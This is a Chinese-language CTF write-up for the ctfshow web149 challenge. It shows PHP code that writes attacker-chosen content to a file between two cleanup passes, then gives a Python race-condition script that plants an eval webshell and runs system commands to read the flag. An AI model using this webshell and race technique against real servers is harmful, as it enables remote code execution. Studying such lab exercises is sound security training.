ctfshow_web149

2023-11-16

打开容器

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
} 

逐行分析

error_reporting(0);//关闭错误报告
highlight_file();//对文件进行语法高亮显示。
__FILE__// 取得当前文件的绝对地址
$files = scandir('./'); //将当前目录的文件和目录。以数组形式赋值给files
foreach($files as $file) {//遍历files数组,以引用赋值将files中的每个对象赋值给file
    if(is_file($file)){//如果file文件存在且为正常的文件,则返回 true。
        if ($file !== "index.php") { //如果file不是index.php的话
            unlink($file);//就会删除这个文件
        }
    }
}
file_put_contents(str,file);//把一个字符串写入文件中

下面的代码和上面的类似,那么代码看到这里得出一个基本的思路

删除除了index.php以外的文件--->写入webshell文件--->删除除了index.php以外的文件

那么我们可以写一个python多线程脚本去条件竞争

使得在写入webshell后,服务器还没来得及删除,我们用webshell来得到flag

那么思路有了,就是写脚本了

import threading
import requests
import time

flag = 1

def write():
    while 1:
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/"+"?ctf=4.php"
        fromdata={"show":"<?php eval($_GET['S']);?>"}
        response = requests.post(url=url,data=fromdata)
        print(response.status_code)

def read():
    global flag
    while 1:
        #cmd = "system('ls /')"
        url = "http://5b684686-4c1c-4d84-8426-b24cff7e49c3.challenge.ctf.show:8080/4.php?S=system('tac /ctfshow_fl0g_here.txt');"
        response = requests.get(url=url)
        if response.status_code == 200:
            print(response.text)
            flag = 0;
            break;





# threads = []

# t1 = threading.Thread(target=write)
# t2 = threading.Thread(target=read)
# threads.append(t1)
# threads.append(t2)

if __name__ == '__main__':
    for i in range(10):
        t1 = threading.Thread(target=write)
        t1.setDaemon(True)
        t1.start()
    for i in range(10):
        t2 = threading.Thread(target=read)
        t2.setDaemon(True)
        t2.start()
    # for t in threads:
    #     t.join()

while flag:
    time.sleep(0.01)

菜鸡脚本,不要介意

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow_web149 的相关文章

随机推荐

  • Hive简介和安装

    1 Hive是基于hadoop的数据仓库解决方案 由facebook贡献给Apache Hive出现的初衷是让不熟悉编程的数据分析人员也能够使用hadoop处理大数据 这是怎么实现的呢 2 我们先来看看Hive提供的接口 从下面Hive的架
  • Tesseract3.02训练生成新的识别语言库的详细步骤

    说明 本文参考了很多前辈的资料 主要是 tesseract OCR3 0语言库训练步骤 再结合自己的实践操作 个人感觉官网的教程是最权威的 耐着性子看完 收获很大 比网上到处看别人理解的更好 毕竟每个人理解的都是自己的 不全面 当然也包括本
  • Vue键盘事件

    一 keydown和keyup的区别 keydown 和 keyup 是JavaScript中用于捕获键盘按键事件的两个事件类型 它们有以下区别 触发时机 keydown 事件在按下键盘上的键时触发 无论是否已释放 keyup 事件在释放键
  • 深度学习之自编码器(2)Fashion MNIST图片重建实战

    深度学习之自编码器 2 Fashion MNIST图片重建实战 1 Fashion MNIST数据集 2 编码器 3 解码器 4 自编码器 5 网络训练 6 图片重建 完整代码 自编码器算法原理非常简单 实现方便 训练也较稳定 相对于PCA
  • 知识图谱基础代码构建(医疗向)

    今天上线发现自己竟然涨粉了 也给了我更大的动力将这一方面继续记录下去 这里是对另外一个项目代码的解读 个人认为是对前面连续几篇中文医疗知识图谱的解读的一个补充 有着拨云见日的作用 项目来源是GitHub上面刘老师做的一个基于知识医疗图谱的问
  • 【linux】——动静态库

    目录 动静态的比较 扩展名 编译操作 执行的状态 生成静态库 生成动态库 总结 在linux操作系统中 函数库是一个非常重要的的东西 因为很多软件之间都会互相使用彼此提供的函数来使用其特殊的功能 例如 我们在写c语言的时候 但我们要使用pr
  • 【人工智能】5.不确定性推理

    一 不确定推理预备知识 1 不确定性推理的含义 不确定性推理实际上是一种从不确定的初始证据出发 通过运用不确定性知识 最终推出具有一定程度的不确定性但却又是合理或基本合理的结论的思维过程 2 不确定推理基本问题 1 不确定性的表示 知识的不
  • 带环单链表及链表相交问题的分析及代码实现

    什么样的是带环单链表 什么样的是不带环单链表 带环单链表就是单链表的尾结点有连接到单链表自身的某一个结点构成了环 首先 我们怎样检测一个单链表是否带环 1 检测单链表是否带环 如果链表不带环 可以通过遍历链表找到尾节点 那如果单链表带环 就
  • iOS进阶_密码学进阶(三.非对称加密算法-RSA公钥私钥的生成)

    应用场景 集成支付宝SDK 会看见 p12文件也有 非对称加密算法 一 运行终端 生成私钥 1 cd Users mac Desktop iOS 加密 2 openssl genrsa out private pem 512 生成私钥 注意
  • [MATLAB]线性方程组求解(雅可比迭代和高斯迭代源码实现)

    本试验取材于中南大学 科学计算与MATLAB语言 直接解法 高斯消去法 列主元消去法 矩阵的三角分解法 1 利用左除运算符的直接解法 Ax b gt x a b 注意 如果矩阵A是奇异的或接近奇异的 则MATLAB会给出警告信息 gt gt
  • 队列的基本操作

    一 定义一个queue的接口 其中包含队列用到的方法 package p1 接口 public interface Queue
  • 路由器02---PandoraBox配置

    1 安装libc 什么是libc 这里贴一个gnu官方的解释 Any Unix like operating system needs a C library the library which defines the system cal
  • BootstrapTable 中使用checkbox

    BootstrapTable中使用CheckBox 添加checkbox列即可 columns checkbox true checkbox 默认为false 不显示 为true时显示 获取所以选中的列 var ids var rows t
  • 微信小程序wx.getUserProfile授权及页面展示

    微信wx getUserProfile授权及页面展示 微信小程序wx getUserProfile授权及页面展示 小程序授权页面样式和wx getUserProfile方法使用 话不多说 直接看图看代码 app js 代码片 app js
  • Android 使用Camera2 API 和 GLSurfaceView实现相机预览

    GLSurfaceView 和 SurfaceView 是 Android 中用于显示图像的两个视图类 它们在实现方式和使用场景上有一些区别 实现方式 GLSurfaceView 基于 OpenGL ES 技术实现 可以通过 OpenGL
  • canvas转各种格式

    canvas转化为base64 param canvas canvas 对象 param type 图片类型 值为 image png image jpeg export const canvasToBase64 canvas type g
  • hadoop:no namenode to stop及其他

    在重隔几个月后重新启动hadoop时 发现namenode启动不了 在bin stop all sh时提示no namenode to stop 上网搜寻no namenode to stop 发现各种各样的解决问题的方法 例如format
  • 《GPU高性能编程CUDA实战》中代码整理

    CUDA架构专门为GPU计算设计了一种全新的模块 目的是减轻早期GPU计算中存在的一些限制 而正是这些限制使得之前的GPU在通用计算中没有得到广泛的应用 使用CUDA C来编写代码的前提条件包括 1 支持CUDA的图形处理器 即由NVIDI
  • java111-日期时间格式化

    package com zx import java text DateFormat import java util Date 员工信息类 date类 public class test50 private String name pri
  • ctfshow_web149

    打开容器